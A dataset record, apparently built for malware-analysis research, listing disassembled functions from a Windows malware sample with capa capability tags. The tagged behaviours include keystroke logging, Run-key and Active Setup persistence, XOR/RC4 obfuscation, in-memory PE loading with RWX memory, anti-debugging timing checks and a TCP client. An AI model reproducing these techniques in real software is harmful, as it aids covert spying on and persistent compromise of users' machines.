joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405b78
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402e48
mov eax, dword [ebp - 8]
call fcn.00402e48
xor eax, eax
push ebp
push 0x405c12
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405bf7
cmp esi, 0xffffffff
jne 0x405bdb
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00402eac
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405c19
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402a08
ret

Function at 0x405e60
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402e48
xor eax, eax
push ebp
push 0x405f00
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00405df4
test al, al
je 0x405eea
xor eax, eax
push ebp
push 0x405ee0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00402e58
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
mov eax, esi
call fcn.00405f14
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405eea
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f07
lea eax, [ebp - 4]
call fcn.004029e4
ret

Function at 0x40606c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4060cc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4060e4
call fcn.00402a7c
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00402a7c
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.004069f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4060d3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402a08
ret
Function at 0x406508
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00402e48
mov eax, dword [ebp - 8]
call fcn.00402e48
mov eax, dword [ebp + 8]
call fcn.00402e48
xor eax, eax
push ebp
push 0x4065ad
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.00402c60
push eax
mov eax, dword [ebp + 8]
call fcn.00402e58
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x406581
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065b4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402a08
lea eax, [ebp + 8]
call fcn.004029e4
ret

Function at 0x4069f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00402e48
mov eax, dword [ebp - 8]
call fcn.00402e48
mov eax, dword [ebp + 0xc]
call fcn.00402e48
xor eax, eax
push ebp
push 0x406ad2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.00402a38
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x406aaf
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00402e58
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x406aa6
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00402fe0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00402e58
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00402fe0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ad9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402a08
lea eax, [ebp + 0xc]
call fcn.004029e4
ret

Function at 0x406ebc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, esi
mov edx, ebx
call fcn.00402a38
mov eax, dword [esi]
call fcn.00402c60
mov edi, eax
test edi, edi
jle 0x406ef6
mov ebx, 1
mov eax, esi
call fcn.00402eac
mov edx, dword [esi]
mov dl, byte [edx + ebx - 1]
xor dl, 0x13
mov byte [eax + ebx - 1], dl
inc ebx
dec edi
jne 0x406ede
pop edi
pop esi
pop ebx
ret
Function at 0x4072d8
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov word [ebp - 2], cx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 8]
mov eax, esi
mov edx, ebx
call fcn.00402a38
mov eax, dword [esi]
call fcn.00402c60
test ax, ax
jbe 0x407347
mov word [ebp - 4], ax
mov bx, 1
mov eax, esi
call fcn.00402eac
movzx edx, bx
lea eax, [eax + edx - 1]
push eax
movzx eax, bx
mov edx, dword [esi]
mov al, byte [edx + eax - 1]
movzx edx, di
shr edx, 8
xor al, dl
pop edx
mov byte [edx], al
movzx eax, bx
mov edx, dword [esi]
movzx eax, byte [edx + eax - 1]
add di, ax
imul di, word [ebp - 2]
add di, word [ebp + 0xc]
inc ebx
dec word [ebp - 4]
jne 0x407307
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x407580
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov word [ebp - 6], cx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.00402a38
mov esi, ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00402c60
test ax, ax
jbe 0x4075f1
mov word [ebp - 8], ax
mov bx, 1
mov eax, dword [ebp + 8]
call fcn.00402eac
movzx edi, bx
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edi - 1]
add si, ax
imul si, word [ebp - 6]
add si, word [ebp + 0xc]
inc ebx
dec word [ebp - 8]
jne 0x4075b6
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4078fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402e48
xor eax, eax
push ebp
push 0x40796b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00402c60
mov esi, eax
test esi, esi
jle 0x40794b
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00402eac
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x407931
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00402a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407972
lea eax, [ebp - 4]
call fcn.004029e4
ret
Function at 0x408a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402e48
xor eax, eax
push ebp
push 0x408ae0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00408af0
mov eax, dword [ebp - 4]
call fcn.00402e58
mov dword [ebx + 4], eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x14], eax
mov word [ebp - 0x14], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_inet_addr
mov esi, eax
mov dword [ebp - 0x10], esi
inc esi
jne 0x408aad
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408aca
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.wsock32.dll_connect
test eax, eax
jge 0x408ac6
mov byte [ebx + 0x10], 0
jmp 0x408aca
mov byte [ebx + 0x10], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ae7
lea eax, [ebp - 4]
call fcn.004029e4
ret

Function at 0x408b10
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebx
add esp, 0xffffffec
mov ebx, edx
mov dword [esp], 0x10
push esp
lea edx, [esp + 8]
push edx
mov eax, dword [eax + 0x14]
push eax
call sub.wsock32.dll_getsockname
push dword [esp + 8]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, ebx
call fcn.00402bd0
add esp, 0x14
pop ebx
ret

Function at 0x408ba4
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
test edx, edx
jne 0x408bda
lea eax, [esp + 8]
call fcn.00408904
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.004088f4
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
jmp 0x408c09
mov dword [esp], edx
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.00408904
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.004088f4
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop ebx
ret
Function at 0x408efc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
mov eax, dword [esi + 4]
mov dword [ebp - 8], eax
mov eax, dword [esi]
push eax
call fcn.00408ea8
mov ebx, eax
mov eax, dword [esi]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jl 0x408f96
inc edi
cmp dword [ebx + 0x10], 0
jne 0x408f64
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x408f5f
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc
mov esi, eax
mov dword [ebx + 8], esi
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004045b4
add ebx, 0x28
jmp 0x408f93
push 0x40
push 0x1000
mov eax, dword [ebx + 0x10]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc
mov esi, eax
mov edx, dword [ebp + 8]
add edx, dword [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov eax, esi
call fcn.004045ac
mov dword [ebx + 8], esi
add ebx, 0x28
dec edi
jne 0x408f24
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x4092e4
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
test eax, 0x4000000
je 0x4092f9
or edx, 0x200
test eax, 0x20000000
je 0x40932c
test eax, 0x40000000
je 0x409318
test eax, 0x80000000
je 0x409313
or edx, 0x40
jmp 0x409353
or edx, 0x20
jmp 0x409353
test eax, 0x80000000
je 0x409327
or edx, 0x80
jmp 0x409353
or edx, 0x10
jmp 0x409353
test eax, 0x40000000
je 0x409344
test eax, 0x80000000
je 0x40933f
or edx, 4
jmp 0x409353
or edx, 2
jmp 0x409353
test eax, 0x80000000
je 0x409350
or edx, 8
jmp 0x409353
or edx, 1
mov eax, edx
pop ebp
ret 4
Function at 0x40944c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
xor ecx, ecx
push ebp
push 0x409658
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov edx, dword [esi]
lea eax, [ebp - 0x48]
mov ecx, 0x40
call fcn.004045ac
cmp word [ebp - 0x48], 0x5a4d
je 0x4094a6
mov eax, 0x428cc0
mov edx, 0x40968c
call fcn.00402a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409678
mov edx, dword [esi]
add edx, dword [ebp - 0xc]
lea eax, [ebp - 0x140]
mov ecx, 0xf8
call fcn.004045ac
cmp dword [ebp - 0x140], 0x4550
je 0x4094e3
mov eax, 0x428cc0
mov edx, 0x4096c4
call fcn.00402a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409678
push 0x40
push 0x2000
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x10c]
push eax
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
jne 0x40951a
push 0x40
push 0x2000
mov eax, dword [ebp - 0xf0]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
jne 0x40953a
mov eax, 0x428cc0
mov edx, 0x409700
call fcn.00402a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409678
push 0x11
push 0
call sub.kernel32.dll_GetProcessHeap_1
push eax
call sub.kernel32.dll_HeapAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax + 4], ebx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
mov byte [eax + 0x10], 0
push 0x40
push 0x1000
mov eax, dword [ebp - 0xf0]
push eax
push ebx
call sub.kernel32.dll_VirtualAlloc
push 0x40
push 0x1000
mov eax, dword [ebp - 0xec]
push eax
push ebx
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0xec]
mov edx, dword [esi]
mov eax, edi
call fcn.004045ac
mov eax, edi
add eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov edi, ebx
mov dword [eax + 0x34], edi
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x140]
push eax
mov eax, dword [esi]
push eax
call fcn.00408efc
mov eax, edi
sub eax, dword [ebp - 0x10c]
test eax, eax
je 0x4095dd
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00408fa0
mov eax, dword [ebp - 8]
push eax
call fcn.00409078
test al, al
jne 0x4095f9
mov eax, 0x428cc0
mov edx, 0x409730
call fcn.00402c68
mov eax, dword [ebp - 8]
push eax
call fcn.0040935c
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40964e
mov edx, eax
add edx, edi
mov esi, edx
test edx, edx
jne 0x409627
mov eax, 0x428cc0
mov edx, 0x409768
call fcn.00402a38
push 0
push 1
push edi
call esi
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x409647
mov eax, 0x428cc0
mov edx, 0x40979c
call fcn.00402a38
mov eax, dword [ebp - 8]
mov byte [eax + 0x10], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409672
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40a37c
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.004045b4
ret

Function at 0x40d794
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40d7fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0xef
push 5
lea eax, [ebp - 5]
push eax
push 0x5a
push 0x400
call sub.kernel32.dll_GetLocaleInfoA
cmp eax, 3
sete al
test al, al
je 0x40d7e4
lea eax, [ebp - 0xc]
lea edx, [ebp - 5]
call fcn.00402bd0
mov eax, dword [ebp - 0xc]
call fcn.0040b4a4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d801
lea eax, [ebp - 0xc]
call fcn.004029e4
ret
Function at 0x40e1cc
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov edi, eax
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x40e280]
call fcn.00401500
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov eax, edi
call fcn.00406cac
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e284
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffb8
mov dword [esp + 8], 0x40
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GlobalMemoryStatusEx
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0x48
ret

Function at 0x40e9b4
Capabilities:
Persist via active setup registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40ea8a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00402bd0
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x40eaa0
call fcn.00402cac
mov eax, dword [ebp - 8]
call fcn.00402e58
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00402bd0
mov eax, dword [ebp - 0x10]
call fcn.00402c60
mov esi, eax
mov eax, dword [0x42728c]
call fcn.00402c60
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00402bd0
lea eax, [ebp - 0x14]
mov edx, dword [0x42728c]
call fcn.00402c68
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
push 1
push 0
push 0x40ead8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ea91
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00402a08
ret
Function at 0x40eae4
Capabilities:
Delete registry key

Disassembly:
push ebx
push esi
push ecx
mov esi, edx
mov ebx, eax
push esp
push 0x20006
push 0
push 0x40eb24
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push esi
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, esi
mov eax, ebx
call fcn.0040eb5c
pop edx
pop esi
pop ebx
ret

Function at 0x40eb5c
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x40eb90
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
pop edx
pop ebx
ret

Function at 0x40f050
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, ebx
mov edx, 2
call fcn.00402fe0
push 0
mov eax, ebx
call fcn.00402eac
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x40f09c
je 0x40f0a5
dec eax
je 0x40f0ba
jmp 0x40f0b3
mov eax, ebx
call fcn.004029e4
jmp 0x40f0ba
mov eax, ebx
mov edx, 1
call fcn.00402fe0
jmp 0x40f0ba
mov eax, ebx
call fcn.004029e4
add esp, 0x100
pop edi
pop esi
pop ebx
ret
Function at 0x4106f8
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x41088a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x429048]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 4]
call fcn.00402bd0
mov edx, dword [ebp - 4]
mov eax, 0x428e58
call fcn.00401820
mov eax, dword [ebp - 4]
call fcn.00405df4
test al, al
jne 0x410777
mov eax, 0x428e58
call fcn.004015b0
call fcn.004012c0
mov eax, 0x428e58
call fcn.004019b8
call fcn.004012c0
push 2
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 4]
call fcn.004056f0
jmp 0x410784
mov edx, dword [ebp - 4]
mov eax, 0x428e58
call fcn.00401820
push 2
mov eax, dword [ebp - 4]
call fcn.00402e58
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, 0x428e58
call fcn.004015bc
push 0x4108a0
push dword [0x428e50]
push 0x4108ac
mov eax, dword [0x4274c8]
push dword [eax + 4]
push 0x4108c0
lea eax, [ebp - 0xc]
call fcn.00406414
push dword [ebp - 0xc]
push 0x4108cc
lea eax, [ebp - 0x10]
call fcn.00406378
push dword [ebp - 0x10]
push 0x4108cc
lea eax, [ebp - 0x14]
call fcn.0040635c
push dword [ebp - 0x14]
push 0x4108d8
lea eax, [ebp - 0x18]
call fcn.00406188
push dword [ebp - 0x18]
push 0x4108e8
lea eax, [ebp - 0x1c]
call fcn.00406224
push dword [ebp - 0x1c]
push 0x4108f4
push 0x410900
push 0x410900
push dword [0x428e4c]
push 0x41090c
push 0x410900
push 0x410900
lea eax, [ebp - 8]
mov edx, 0x15
call fcn.00402d20
mov edx, dword [ebp - 8]
mov eax, 0x428e58
call fcn.00403044
call fcn.004018d0
call fcn.004012c0
mov eax, 0x428e58
call fcn.004019b8
call fcn.004012c0
mov eax, dword [ebp - 4]
call fcn.004056f0
mov eax, 0x428e4c
call fcn.004029e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410891
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00402a08
ret